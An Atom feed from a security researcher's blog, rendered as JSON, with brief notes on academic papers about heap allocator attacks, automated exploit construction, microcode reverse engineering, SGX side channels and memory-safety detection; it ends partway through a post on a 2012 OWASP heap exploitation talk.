{"title":"argp","link":[{"@attributes":{"href":"https:\/\/argp.github.io\/atom.xml","rel":"self"}},{"@attributes":{"href":"https:\/\/argp.github.io\/"}}],"updated":"2023-04-24T13:19:40+00:00","id":"https:\/\/argp.github.io","author":{"name":"argp","email":"argp@census-labs.com"},"entry":[{"title":"Paper notes: HeapHopper","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2018\/09\/06\/heaphopper\/"}},"updated":"2018-09-06T00:00:00+00:00","id":"https:\/\/argp.github.io\/2018\/09\/06\/heaphopper","content":"<p>Title: HeapHopper: Bringing bounded model checking to heap implementation security<br \/>\nPDF: <a href=\"\/public\/970a2d1ce20edee6eaf3b9cecd071f81.pdf\">970a2d1ce20edee6eaf3b9cecd071f81.pdf<\/a><\/p>\n\n<p>A system for evaluating heap allocator implementations for metadata corruption\nattacks. Comes with <a href=\"https:\/\/github.com\/angr\/heaphopper\">an open source implementation<\/a>,\nand it uses <a href=\"https:\/\/github.com\/angr\/angr\">angr<\/a> to analyze the binaries that implement the\ntarget allocator. A configuration file is also required to specify the attackers capabilities;\nthe heap operations she can perform (malloc, free), but also higher level attack primitives,\nlike heap buffer overflows, use-after-frees, double frees, and arbitrary frees. The configuration\nfile also includes a list of states corresponding to violated security properties (i.e. exploitation\nprimitives). For example, a return-used primitive (or \u201coverlapping allocation\u201d as the authors call\nit) is checked when a new allocation is made with malloc returning address A, by using an SMT solver\nto check if the following holds (B is the address of an already used allocation):<\/p>\n\n<p>\u2203B : ((A \u2264 B) \u2227 (A + sizeof(A) &gt; B)) \u2228 ((A \u2265 B) \u2227 (B + sizeof(B) &gt; A))<\/p>\n\n<p>The corresponding Python angr code for the above check can be found\n<a href=\"https:\/\/github.com\/angr\/heaphopper\/blob\/master\/heaphopper\/analysis\/heap_condition_tracker.py#L205\">here<\/a>.<\/p>\n\n<p>Based on the configuration file, series of C programs are produced, compiled, and symbolically\nexecuted against the target allocator. Using angr, the allocator\u2019s malloc and free functions are\nhooked and monitored for the security violations described in the configuration file. The symbolic\nexecution traces and the associated constraints are finally used to create the next series of C\nprograms, until the specified exploitation primitives are achieved. The paper includes a detailed\nevaluation section for the dlmalloc and ptmalloc allocators. I didn\u2019t have the time yet to play\nwith HeapHopper\u2019s code, but I plan to test it against jemalloc; I\u2019ll be posting my findings here\nwhen I do so.<\/p>\n"},{"title":"Paper notes: Block oriented programming: automating data-only attacks","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2018\/08\/02\/bop\/"}},"updated":"2018-08-02T00:00:00+00:00","id":"https:\/\/argp.github.io\/2018\/08\/02\/bop","content":"<p>Title: Block oriented programming: automating data-only attacks<br \/>\nPDF: <a href=\"\/public\/aec7ba2a6395ec82632e323f0aef2295.pdf\">aec7ba2a6395ec82632e323f0aef2295.pdf<\/a><\/p>\n\n<p>Proposes a system for automating the process of constructing exploitation payloads\nthat can bypass control-flow integrity and related mitigations. The target binary is\nlifted to an (unspecified) intermediate representation and its CFG is recovered. Each\nbasic block is \u201csummarized\u201d using symbolic execution into a set of constraints with\nchanges to memory and registers. These summarized data for each basic block also include\nany calls or jumps.<\/p>\n\n<p>The desired payload is specified in a pseudo-C language (SPloit Language - SPL ;) which\nis translated into an again unspecified (another? the same as the target binary?)\nintermediate representation. At the next step, non-surprisingly, the summarized basic\nblocks are matched to SPL IR statements. A matched basic block must satisfy changes to\nregisters and\/or calls specified by the corresponding SPL IR statement. The target binary\nis scanned for \u201cdispatcher\u201d blocks that enable the connection of the basic blocks\nidentified in the previous step. Dispatchers are found using concolic execution.\nConcretization of symbolic addresses is used to initialize memory before the execution\nof a previously matched basic block, guiding execution through the shortest path to\nthe next matched basic block. The identified paths must satisfy the constraints of the\nbasic blocks they traverse.<\/p>\n\n<p>Finally, the execution trace of the identified paths is encoded as a series of writes\nfor the target binary (the exploit payload). A bug giving an arbitrary write primitive\nis assumed of course.<\/p>\n\n<p>Update (2018\/11\/02): The authors have released the\n<a href=\"https:\/\/github.com\/HexHive\/BOPC\">accompanying code<\/a>, and, not surprisingly, it\nis based on <a href=\"https:\/\/github.com\/angr\/angr\">angr<\/a>.<\/p>\n"},{"title":"Paper notes: Reverse engineering x86 processor microcode","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2017\/09\/14\/re-x86-microcode\/"}},"updated":"2017-09-14T00:00:00+00:00","id":"https:\/\/argp.github.io\/2017\/09\/14\/re-x86-microcode","content":"<p>Title: Reverse engineering x86 processor microcode<br \/>\nPDF: <a href=\"\/public\/133f02627cbd3771ad5d4b09729cfce7.pdf\">133f02627cbd3771ad5d4b09729cfce7.pdf<\/a><\/p>\n\n<p>A very interesting paper with technical details on the x86 microcode inner\nworkings of AMD\u2019s K8 and K10 CPUs. The reason for focusing on these old CPUs\nis that other\/newer ones cryptographically protect their microcode updates,\nboth for authenticity\/integrity and confidentiality.<\/p>\n\n<p>AMD\u2019s K8 and K10 microcode updates are encoded (but not encrypted or signed)\nin a proprietary format which is only partly explained in the paper. The update\nprocess decodes the blob, which includes sets of microcode instructions\n(microinstructions) called <code class=\"language-plaintext highlighter-rouge\">triads<\/code>, and values for <code class=\"language-plaintext highlighter-rouge\">match registers<\/code> which are\nmicrocode-internal register-like locations that hold addresses of triads in\nmicrocode ROM. The new triads that the update carries are mapped in\nmicrocode RAM directly after the address space of the ROM, and the match\nregister values are copied to their respective match registers. The match\nregisters (which are eight by design) can be used to run the updated\nmicrocode triads by redirecting execution to the new addresses in RAM. The\nauthors use this to hook CPU microcode triads and run their version of the\n<code class=\"language-plaintext highlighter-rouge\">div<\/code> instruction for example. One limitation (apart from the only eight\navailable match registers) is that instructions are separated into\nperformance critical ones (called direct path instructions), and more complex\nones (called vector path instructions). Match registers are used only for the\nlatter. Since the microcode update is mapped into RAM, it\u2019s not permanent,\nbut is applied at each boot.<\/p>\n\n<p>Using the above way to load arbitrary microcode triads via updates, the\nauthors then proceeded to reverse the microcode instruction set by trial and\nerror using a minimal operating system they developed. With some information\nfrom AMD\u2019s patents and bruteforcing the microcode instruction fields, they\nobserved the protection faults and CPU states their triads caused. This led\nto around 40% disassembling of existing microcode updates, which is an\nimpressive feat.<\/p>\n\n<p>The paper\u2019s <a href=\"https:\/\/github.com\/RUB-SysSec\/Microcode\">accompanying code<\/a>\nincludes <a href=\"https:\/\/github.com\/RUB-SysSec\/Microcode\/tree\/master\/updatedriver\">a\npatch for the Linux kernel<\/a> that applies a microcode update from file\n<code class=\"language-plaintext highlighter-rouge\">\/lib\/firmware\/amd-ucode\/myupdate.bin<\/code> without any checks. It also includes\n<a href=\"https:\/\/github.com\/RUB-SysSec\/Microcode\/tree\/master\/updates\">various\nsample updates<\/a> (in binary and encoded format, and microinstruction source)\nimplementing instrumentation and backdoor PoCs described in the paper.<\/p>\n\n<p>The references seem complete, apart from neglecting to cite Ben Hawkes\u2019\n<a href=\"http:\/\/inertiawar.com\/microcode\/\">notes on Intel microcode updates<\/a>.<\/p>\n"},{"title":"Paper notes: Telling your secrets without page faults","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2017\/08\/28\/no-pagefaults\/"}},"updated":"2017-08-28T00:00:00+00:00","id":"https:\/\/argp.github.io\/2017\/08\/28\/no-pagefaults","content":"<p>Title: Telling your secrets without page faults<br \/>\nPDF: <a href=\"\/public\/b81efa3a4c5826fa441852bd63a402c6.pdf\">b81efa3a4c5826fa441852bd63a402c6.pdf<\/a><\/p>\n\n<p>A paper on two attacks against Intel SGX enclaves using side-effects of\npage table walks, without explicitly observing page faults. Both attacks\nare based on the fact that when the processor is in enclave execution mode,\nit still accesses the page table which is in unprotected (i.e. non-SGX) memory.\nSGX defines some access control mechanisms on top of that, but they don\u2019t\nhinder the presented attacks.<\/p>\n\n<p>The threat model under which the attacks are developed assumes a completely\nattacker-controlled operating system (both userland and kernel), and\nknowledge of the source code of the attacked SGX application (in order to\nmonitor interesting page accesses).<\/p>\n\n<p>The first attack exploits that accessed (and dirty) bits are set on pages\naccessed\/used by SGX application code in secure enclave mode. The page table\nentry (PTE) attribute (accessed and\/or dirty) that corresponds to the page\naccessed in SGX mode is stored in the kernel memory of the unprotected system.<\/p>\n\n<p>The second attack is based on cache misses; PTEs that refer to interesting\npages are evicted from the TLB (using <code class=\"language-plaintext highlighter-rouge\">clflush<\/code>). When the enclave is\nentered the TLB is cleared by design, therefore the attacker measures the\ntime required to reload the interesting PTEs when the enclave has returned.<\/p>\n\n<p>Both attacks require the identification of interesting pages (and the\ncorresponding PTEs) in advance. There is an initial step in which the\nattacked SGX application code is run outside the enclave, and a PC trace of\npage accesses is recorded.<\/p>\n\n<p>The authors have <a href=\"https:\/\/github.com\/jovanbulck\/sgx-pte\">published\ntheir implementation<\/a>, which I haven\u2019t tested, but from a quick pass\nseems complete.<\/p>\n"},{"title":"Paper notes: BinSim","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2017\/08\/21\/binsim\/"}},"updated":"2017-08-21T00:00:00+00:00","id":"https:\/\/argp.github.io\/2017\/08\/21\/binsim","content":"<p>Title: BinSim: Trace-based semantic binary diffing via system call sliced segment equivalence checking<br \/>\nPDF: <a href=\"\/public\/0070bdf0db1fe29e6730d8e63662b0b3.pdf\">0070bdf0db1fe29e6730d8e63662b0b3.pdf<\/a><\/p>\n\n<p>BinSim is a dynamic system for identifying differences between two malware\nsamples based on the executed system and API calls. I decided to read the paper\nin order to see if I can reuse anything in my usual bindiffing workflow for patch\nanalysis and symbol porting. Since it is dynamic, its first analysis step is to\nrun the two target x86 executables with the same input. BinSim uses BitBlaze as\nits dynamic analysis infrastructure, and therefore its next step is to lift the\nexecution trace logs to BitBlaze\u2019s Vine IL. The system and API calls from the two\ntraces are collected and aligned based on their call sequence. Then, the arguments\nof the matched calls are checked for equivalence. This is done by collecting all\ninstructions that affect them using backward slicing, and calculating each\nslice\u2019s weakest precondition symbolic formula. Finally, the two formulas,\neach representing an aligned system or API call from the target executables, are\nchecked for equivalence with a constraint solver. Similarity scores (1.0 for\na match, 0.7 for an approximate match, and 0.5 for an unknown case) are used\nto summarize the equivalence for the whole binaries.<\/p>\n"},{"title":"Paper notes: ARTISTE","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2016\/04\/26\/artiste\/"}},"updated":"2016-04-26T00:00:00+00:00","id":"https:\/\/argp.github.io\/2016\/04\/26\/artiste","content":"<p>Title: ARTISTE: Automatic generation of hybrid data structure signatures from\nbinary code executions<br \/>\nPDF: <a href=\"\/public\/8bd55709138804473a2e1d974ef8afd7.pdf\">8bd55709138804473a2e1d974ef8afd7.pdf<\/a><\/p>\n\n<p>Another runtime system with the goal of recovering both primitive types,\nand complex ones (structures, arrays and dynamic arrays), without the\nrequirement of source code or debugging symbols. The implementation supports\nboth Windows (PE) and Linux (ELF) binaries, but the paper does not mention\nif a DBI framework is used. An execution log is captured which contains\nexecuted instructions, operands, and also memory allocations and\ndeallocations. Based on this log, primitive data types are inferred via\nx86 instructions. For example, both operands of an <code class=\"language-plaintext highlighter-rouge\">add<\/code> instruction are\ngiven the type <code class=\"language-plaintext highlighter-rouge\">num32<\/code>. The prototypes of standard library functions are also\nused for the same purpose, and to narrow down the types (e.g. from <code class=\"language-plaintext highlighter-rouge\">num32<\/code>\nto <code class=\"language-plaintext highlighter-rouge\">size_t<\/code>).<\/p>\n\n<p>The interesting part of the paper is that a heap graph is constructed and\nlogged at periodic intervals during execution. This heap graph includes\nwhich functions operate on an allocation, and the types assigned to its\noffsets. Based on that, an allocation is denoted as an array or a structure,\nand a signature is created for it. These signatures are organized in a tree\nand updated during the analysis of the execution log.<\/p>\n"},{"title":"Paper notes: Towards automatic inference of kernel object semantics from binary code","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2016\/02\/20\/kernel-object-semantics\/"}},"updated":"2016-02-20T00:00:00+00:00","id":"https:\/\/argp.github.io\/2016\/02\/20\/kernel-object-semantics","content":"<p>Title: Towards automatic inference of kernel object semantics from binary code<br \/>\nPDF: <a href=\"\/public\/63062e684afced0b70009b33d9ba7b26.pdf\">63062e684afced0b70009b33d9ba7b26.pdf<\/a><\/p>\n\n<p>This is a runtime system that infers the types of kernel objects (data structures)\nbased on a) which system calls access an object, and b) how they access it (read,\nwrite, create, delete). The implementation is based on a VMI (virtual machine\nintrospection) framework built on top of QEMU, and the presented results are\nonly for Linux kernels. A set of inference rules for Linux kernel data\nstructures must be manually defined. For example, an object created by\n<code class=\"language-plaintext highlighter-rouge\">sys_clone<\/code> and accessed for reading by <code class=\"language-plaintext highlighter-rouge\">sys_getpid<\/code> is denoted as either\n<code class=\"language-plaintext highlighter-rouge\">task_struct<\/code> or <code class=\"language-plaintext highlighter-rouge\">pid<\/code>. Therefore, the <em>automatic<\/em> claim of the title isn\u2019t\nstrictly applicable (at least according to my definition of <em>automatic<\/em>).<\/p>\n"},{"title":"Paper notes: Automating information flow analysis of low level code","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2015\/09\/04\/automating-information-flow-analysis-low-level-code\/"}},"updated":"2015-09-04T00:00:00+00:00","id":"https:\/\/argp.github.io\/2015\/09\/04\/automating-information-flow-analysis-low-level-code","content":"<p>Title: Automating information flow analysis of low level code<br \/>\nPDF: <a href=\"\/public\/68d4b37e9623d0c67e7b856b76ebe4a1.pdf\">68d4b37e9623d0c67e7b856b76ebe4a1.pdf<\/a><\/p>\n\n<p>Uses BAP to lift ARMv7 code to BIL (BAP\u2019s intermediate representation language) with\nthe <a href=\"http:\/\/hol-theorem-prover.org\/\">HOL4 model of ARMv7<\/a> and does forward\nsymbolic execution to build a logical formula that describes several executions. At\ninteresting execution points (called observation points in the paper), such as writes,\noffloading to SMT solving is used to verify that relational properties hold. Loops are\nhandled by manually finding relational invariants and using them to decorate the loops\naiding the verification.<\/p>\n"},{"title":"Paper notes: Fuzzy stack hash","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2014\/12\/29\/fuzzy-stack-hash\/"}},"updated":"2014-12-29T00:00:00+00:00","id":"https:\/\/argp.github.io\/2014\/12\/29\/fuzzy-stack-hash","content":"<p>If you have done any large scale fuzzing then you have faced the problem of\nduplicate bugs. These take time to be manually recognized and marked as\nduplicates.<\/p>\n\n<p>I have been discussing this recently with fellow CENSUS researcher\n<a href=\"https:\/\/twitter.com\/anestisb\">@anestisb<\/a> (be sure to check out\nand vote for <a href=\"https:\/\/www.syscan.org\/index.php\/sg\/cfp\/vote\/\">his SyScan\n2015 submission<\/a> on fuzzing and the internals of the new Android L runtime).<\/p>\n\n<p>We have reached the conclusion that the \u201cfuzzy stack hash\u201d provides\nan easily configurable trade-off to automatically identify semantically duplicate\nbugs. You can find its full description in the otherwise also very interesting\npaper <a href=\"\/public\/50a11f65857c12c76995f843dbfe6dda.pdf\">\u201cDynamic test\ngeneration to find integer bugs in x86 binary linux programs\u201d<\/a>, section 6.1,\npage 9.<\/p>\n\n<p>The information used in the calculation of the fuzzy stack hash are a) the name\nof the function in which the crash occurred (or its address if no debug symbols\nare available), b) the source code line number if available (excluding the last\ndigit to allow for changes in the code), and c) the name of the object file for\neach frame in the call stack. The hash is calculated over all these for N functions\non the top of the call stack at the crash. N determines the \u201cfuzzy-ness\u201d of the\nhash and provides us with a configurable trade-off. A small N leads to labelling as\nduplicates different bugs that cause a crash at the same location; a large value for\nN leads to the fuzzy stack hash being essentially a normal backtrace leading to\nduplicate bugs being labelled as unique.<\/p>\n"},{"title":"Paper notes: Enhancing symbolic execution with veritesting","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2014\/12\/23\/enhancing-symbolic-execution-with-veritesting\/"}},"updated":"2014-12-23T00:00:00+00:00","id":"https:\/\/argp.github.io\/2014\/12\/23\/enhancing-symbolic-execution-with-veritesting","content":"<p>Title: Enhancing symbolic execution with veritesting<br \/>\nPDF: <a href=\"\/public\/2bf778fdcdfb9924adf057a79a9dc9a0.pdf\">2bf778fdcdfb9924adf057a79a9dc9a0.pdf<\/a><\/p>\n\n<p>The core idea is the switching from dynamic symbolic execution to static\n(and vice-versa) when certain identified transition points are reached.<\/p>\n\n<p>Example transition points from static to dynamic switching are unresolved\njumps, system calls, function boundaries, and other cases that are easier\nto handle dynamically.<\/p>\n"},{"title":"Paper notes: Toward a foundational typed assembly language","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2014\/11\/19\/typed-assembly-language\/"}},"updated":"2014-11-19T00:00:00+00:00","id":"https:\/\/argp.github.io\/2014\/11\/19\/typed-assembly-language","content":"<p>Title: Toward a foundational typed assembly language<br \/> \nPDF: <a href=\"\/public\/7b0f643010e5537ff02debab6b2fce4b.pdf\">7b0f643010e5537ff02debab6b2fce4b.pdf<\/a><\/p>\n\n<p>A paper from 2002 but a very interesting read; it formally defines a type system for a\ncomplete assembly language (TAL). The paper gives typing rules for the instructions and\nfor memory allocation; its advantages are verification and reasoning (for things like\nheap object reachability) with machine-checked proofs.<\/p>\n\n<p>An implementation (in OCaml) of TAL for x86 is\n<a href=\"http:\/\/www.cs.cornell.edu\/talc\/releases.html\">TALx86<\/a>; includes a type-checker\nand an assembler.<\/p>\n\n<p>Original Twitter link:\n<a href=\"https:\/\/twitter.com\/_argp\/statuses\/524588812731969536\">https:\/\/twitter.com\/_argp\/statuses\/524588812731969536<\/a><\/p>\n"},{"title":"Paper notes: Time-ordered event traces","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2014\/11\/18\/debugging-primitive-for-concurrency-bugs\/"}},"updated":"2014-11-18T00:00:00+00:00","id":"https:\/\/argp.github.io\/2014\/11\/18\/debugging-primitive-for-concurrency-bugs","content":"<p>Title: Time-ordered event traces: a new debugging primitive for concurrency bugs<br \/>\nPDF: <a href=\"\/public\/4feb0d2508fcab1061401f6212dde8a2.pdf\">4feb0d2508fcab1061401f6212dde8a2.pdf<\/a><\/p>\n\n<p>A methodology and\n<a href=\"http:\/\/people.engr.ncsu.edu\/hzhou\/TracesWeb\/download.html\">accompanying pintool<\/a> for\nroot cause analysis of concurrency bugs; it basically records a runtime trace of function calls\nand returns, their thread IDs and global timestamps, making clear the order in which they execute.<\/p>\n\n<p>I really liked that the paper includes five case studies, one of which demonstrates a shortcoming\nof the approach (a quite common one however).<\/p>\n\n<p>Original Twitter link:\n<a href=\"https:\/\/twitter.com\/_argp\/statuses\/521674700683223041\">https:\/\/twitter.com\/_argp\/statuses\/521674700683223041<\/a><\/p>\n"},{"title":"Paper notes: Interprocedural program analysis","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2014\/11\/17\/interprocedural-program-analysis\/"}},"updated":"2014-11-17T00:00:00+00:00","id":"https:\/\/argp.github.io\/2014\/11\/17\/interprocedural-program-analysis","content":"<p>I have been reading\/thinking about interprocedural (binary mostly) program\nanalysis lately. There are two ways to do it: a) function summaries produced\nin advance; b) inlining function bodies and (try to) do whole-program analysis.\nThe problem with a) is (possible) reduced accuracy, and with b) scalability.<\/p>\n\n<p>Have I missed something? Any pointers to relevant work?<\/p>\n\n<p>Program analysis Jedi <a href=\"https:\/\/twitter.com\/jvanegue\">@jvanegue<\/a>\nsuggested <a href=\"http:\/\/research.microsoft.com\/en-us\/projects\/slam\/\">SLAM<\/a>\nand <a href=\"http:\/\/asa.iti.kit.edu\/daikon.pdf\">Daikon<\/a>.<\/p>\n\n<p>Relevant Twitter link:\n<a href=\"https:\/\/twitter.com\/_argp\/statuses\/514491405142863872\">https:\/\/twitter.com\/_argp\/statuses\/514491405142863872<\/a><\/p>\n"},{"title":"Paper notes: A first step towards automated detection of buffer overrun vulnerabilities","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2014\/11\/12\/boon-paper\/"}},"updated":"2014-11-12T00:00:00+00:00","id":"https:\/\/argp.github.io\/2014\/11\/12\/boon-paper","content":"<p>Title: A first step towards automated detection of buffer overrun vulnerabilities (BOON)<br \/>\nPDF: <a href=\"\/public\/24dcd918253f6a44a43ac6612294397f.pdf\">24dcd918253f6a44a43ac6612294397f.pdf<\/a><\/p>\n\n<p>I was looking at BOON lately and it has a nice integrated and reusable range\nsolver to check constraints for integer variables. Much faster and scalable\nthan an SMT solver, although imprecise since it is path insensitive.<\/p>\n\n<p>See <a href=\"http:\/\/www.cs.berkeley.edu\/~daw\/boon\/\">BOON\u2019s implementation<\/a>\nfor the range solver; specifically files <code class=\"language-plaintext highlighter-rouge\">boon-1.0\/{newsolver.c, constraint-set.sml}<\/code>.<\/p>\n\n<p>Original Twitter link:\n<a href=\"https:\/\/twitter.com\/_argp\/statuses\/512231214153871360\">https:\/\/twitter.com\/_argp\/statuses\/512231214153871360<\/a><\/p>\n"},{"title":"Paper notes: Undangle","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2014\/11\/11\/undangle-early-detection-of-dangling-pointers\/"}},"updated":"2014-11-11T00:00:00+00:00","id":"https:\/\/argp.github.io\/2014\/11\/11\/undangle-early-detection-of-dangling-pointers","content":"<p>Title: Undangle: early detection of dangling pointers in use-after-free\nand double-free vulnerabilities <br \/>\nPDF: <a href=\"\/public\/881dc45d33c7bfea662a0889918999e4.pdf\">881dc45d33c7bfea662a0889918999e4.pdf<\/a><\/p>\n\n<p>Uses <a href=\"http:\/\/bitblaze.cs.berkeley.edu\/temu.html\">TEMU<\/a> to produce\nan execution\/allocations log which is then parsed offline; for each freed heap\nobject the pointers to it are labeled as dangling; taint propagation-like\ntechniques are used to track pointers.<\/p>\n\n<p>Original Twitter link:\n<a href=\"https:\/\/twitter.com\/_argp\/statuses\/505011997445193728\">https:\/\/twitter.com\/_argp\/statuses\/505011997445193728<\/a><\/p>\n"},{"title":"Paper notes: Efficiently detecting all dangling pointer uses in production servers","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2014\/11\/10\/efficiently-detecting-dangling-pointer-uses\/"}},"updated":"2014-11-10T00:00:00+00:00","id":"https:\/\/argp.github.io\/2014\/11\/10\/efficiently-detecting-dangling-pointer-uses","content":"<p>Title: Efficiently detecting all dangling pointer uses in production servers<br \/>\nPDF: <a href=\"\/public\/5f11226846ef1fb1e447ca58fbba6d33.pdf\">5f11226846ef1fb1e447ca58fbba6d33.pdf<\/a><\/p>\n\n<p>Runtime detection by placing each allocated object on a new virtual page\n(like pageheap), but mapping multiple virtual pages to the same physical\npage avoiding physical memory depletion.<\/p>\n\n<p>Freed objects cause an mprotect on their page, so possible later uses of\nthe object cause an access violation in turn. Implemented as LLVM IR\ntransformation; tested via\n<code class=\"language-plaintext highlighter-rouge\">C -&gt; IR -&gt; transformations -&gt; IR' -&gt; C' -&gt; gcc -O3<\/code> :)<\/p>\n\n<p>Original Twitter link:\n<a href=\"https:\/\/twitter.com\/_argp\/statuses\/499961355097866241\">https:\/\/twitter.com\/_argp\/statuses\/499961355097866241<\/a><\/p>\n"},{"title":"Paper notes: Type-based memory allocator hardening notes","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2014\/11\/07\/type-based-memory-allocator-hardening-notes\/"}},"updated":"2014-11-07T00:00:00+00:00","id":"https:\/\/argp.github.io\/2014\/11\/07\/type-based-memory-allocator-hardening-notes","content":"<p>Internet Explorer\u2019s new <code class=\"language-plaintext highlighter-rouge\">g_hIsolatedHeap<\/code> mitigation is like a poor man\u2019s\ntype-safe memory reuse implementation. \u201cPoor man\u2019s\u201d since instead of real\ntype-safety, it specifies categories of \u201cdangerous\u201d objects that are placed\non the isolated heap. An example full implementation of type-safe memory\nreuse is <a href=\"\/public\/3f7f268d4896869a6634f76403e5954b.pdf\">Cling<\/a>,\na heap manager that restricts memory reuse to same-type objects.<\/p>\n\n<p>Of course\n<a href=\"http:\/\/robert.ocallahan.org\/2010\/10\/mitigating-dangling-pointer-bugs-using_15.html\">Firefox\u2019s\nframe poisoning<\/a> (since 2010) also implements some type-safe memory reuse\nideas.<\/p>\n\n<p>Btw, the above frame poisoning blog post does not refer to Cling, but a\n<a href=\"\/public\/a8f45baeab77e1bf41d30dce444523b3.pdf\">much earlier paper<\/a>\non type-safe memory reuse.<\/p>\n\n<p>Relevant Twitter link:\n<a href=\"https:\/\/twitter.com\/_argp\/statuses\/498798680863145984\">https:\/\/twitter.com\/_argp\/statuses\/498798680863145984<\/a><\/p>\n"},{"title":"Paper notes: Memory leak detection based on memory state transition graph","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2014\/11\/06\/memory-leak-detection-based-on-memory-state-transition-graph\/"}},"updated":"2014-11-06T00:00:00+00:00","id":"https:\/\/argp.github.io\/2014\/11\/06\/memory-leak-detection-based-on-memory-state-transition-graph","content":"<p>Title: Memory leak detection based on memory state transition graph<br \/>\nPDF: <a href=\"\/public\/9d850ea1ce88e3705bd40b56164a6f40.pdf\">9d850ea1ce88e3705bd40b56164a6f40.pdf<\/a><\/p>\n\n<p>Memory state transition graph (MSTG) nodes model heap objects\u2019 states; edges are\nannotated with path conditions (via symbolic execution); used for function\nsummaries and the leak detection algorithm.<\/p>\n\n<p>Implementation (just binaries, no source code) available at:\n<a href=\"http:\/\/lcs.ios.ac.cn\/~xuzb\/melton.html\">http:\/\/lcs.ios.ac.cn\/~xuzb\/melton.html<\/a><\/p>\n\n<p>Relevant Twitter link:\n<a href=\"https:\/\/twitter.com\/_argp\/statuses\/490102227819053056\">https:\/\/twitter.com\/_argp\/statuses\/490102227819053056<\/a><\/p>\n"},{"title":"Paper notes: Path and context sensitive inter-procedural memory leak detection","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2014\/11\/05\/path-context-sensitive-memory-leak-detection\/"}},"updated":"2014-11-05T00:00:00+00:00","id":"https:\/\/argp.github.io\/2014\/11\/05\/path-context-sensitive-memory-leak-detection","content":"<p>Title: Path and context sensitive inter-procedural memory leak detection<br \/>\nPDF: <a href=\"\/public\/44a45c88f524da1a62fbf91581d8ede9.pdf\">44a45c88f524da1a62fbf91581d8ede9.pdf<\/a><\/p>\n\n<p>Models heap objects, tracks their state (not pointers to), inter-procedural analysis via<br \/>\nfunction summaries; solver for path feasibility. Straightforward.<\/p>\n\n<p>Original Twitter link:\n<a href=\"https:\/\/twitter.com\/_argp\/statuses\/487275885872312320\">https:\/\/twitter.com\/_argp\/statuses\/487275885872312320<\/a><\/p>\n"},{"title":"Paper notes: A memory model for static analysis of C programs","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2014\/11\/04\/memory-model-static-analysis-c-programs\/"}},"updated":"2014-11-04T00:00:00+00:00","id":"https:\/\/argp.github.io\/2014\/11\/04\/memory-model-static-analysis-c-programs","content":"<p>Title: A memory model for static analysis of C programs<br \/>\nPDF: <a href=\"\/public\/44f93d2a09e3d91eca160b387db6cd8c.pdf\">44f93d2a09e3d91eca160b387db6cd8c.pdf<\/a><\/p>\n\n<p>Nice read; defines a region-based memory model that can describe C semantics\nand keep track of lvalue expressions; like a poor man\u2019s alias analysis.\nImplementation available as part of the clang analyzer.<\/p>\n\n<p>Original Twitter link:\n<a href=\"https:\/\/twitter.com\/_argp\/statuses\/483678143371550720\">https:\/\/twitter.com\/_argp\/statuses\/483678143371550720<\/a><\/p>\n"},{"title":"Paper notes: Static program analysis assisted dynamic taint tracking","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2014\/11\/03\/static-program-analysis-assisted-paper\/"}},"updated":"2014-11-03T00:00:00+00:00","id":"https:\/\/argp.github.io\/2014\/11\/03\/static-program-analysis-assisted-paper","content":"<blockquote>\n  <p><em>Note:<\/em> A <a href=\"https:\/\/twitter.com\/_argp\/statuses\/478777665898700800\">while back<\/a>\nI started tweeting notes on research papers I\u2019m reading. Gradually the notes became\nmore verbose, making Twitter a poor medium for them. So, I decided to start keeping\nthe notes here and tweet the links to the posts instead. I will start the\n\u201cpaper notes\u201d category with all the previous notes I have twitted so far.<\/p>\n<\/blockquote>\n\n<p>Title: Static program analysis assisted dynamic taint tracking for software vulnerability discovery<br \/>\nPDF: <a href=\"\/public\/1c943b679e1d0fa168f784a34eaee149.pdf\">1c943b679e1d0fa168f784a34eaee149.pdf<\/a><\/p>\n\n<p>Read that yesterday evening; very brief and underdeveloped for my taste.<\/p>\n\n<p>Original Twitter link:\n<a href=\"https:\/\/twitter.com\/_argp\/statuses\/478777665898700800\">https:\/\/twitter.com\/_argp\/statuses\/478777665898700800<\/a><\/p>\n"},{"title":"Heap Exploitation Abstraction by Example - OWASP 2012","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2012\/08\/17\/heap-exploitation-abstraction-owasp\/"}},"updated":"2012-08-17T00:00:00+00:00","id":"https:\/\/argp.github.io\/2012\/08\/17\/heap-exploitation-abstraction-owasp","content":"<p>This year\u2019s <a href=\"http:\/\/2012.appsec.eu\/\">OWASP AppSec Research<\/a> conference took\nplace in Athens, Greece and we were planning to be there as participants.\nHowever, the day before the conference, Konstantinos Papapanagiotou (General Chair)\nasked if we could do a presentation to replace a cancelled talk. Myself and Chariton \nKaramitas (huku) agreed to help and spent around three hours preparing a talk on heap \nexploitation abstraction, a subject dear to us.<\/p>\n\n<p align=\"center\">\n<img src=\"\/public\/heap_weird_machine.png\" width=\"300\" height=\"138\" \/>\n<\/p>\n\n<p>Our talk was titled <a href=\"https:\/\/speakerdeck.com\/argp\/heap-exploitation-abstraction-by-example\">Heap Exploitation Abstraction by\nExample<\/a>\nand was divided into two main parts. In the first part we focused on presenting \nexamples of exploiting heap managers. Specifically, we talked about attacking \nthe FreeBSD kernel allocator (UMA), the Linux kernel allocator (SLUB) and the \njemalloc userland allocator.<\/p>\n\n<p>In the second part we started by finding the common elements of these three \nallocators and categorizing them into the following:<\/p>\n\n<ul>\n  <li>End-user allocations<\/li>\n  <li>Allocation containers<\/li>\n  <li>Container groupings<\/li>\n  <li>Execution-specific (thread, CPU core) metadata<\/li>\n<\/ul>\n\n<p>We then proceeded to make an argument that the value of abstracting heap \nexploitation is in having a library of attack techniques, or <em>primitives<\/em>, 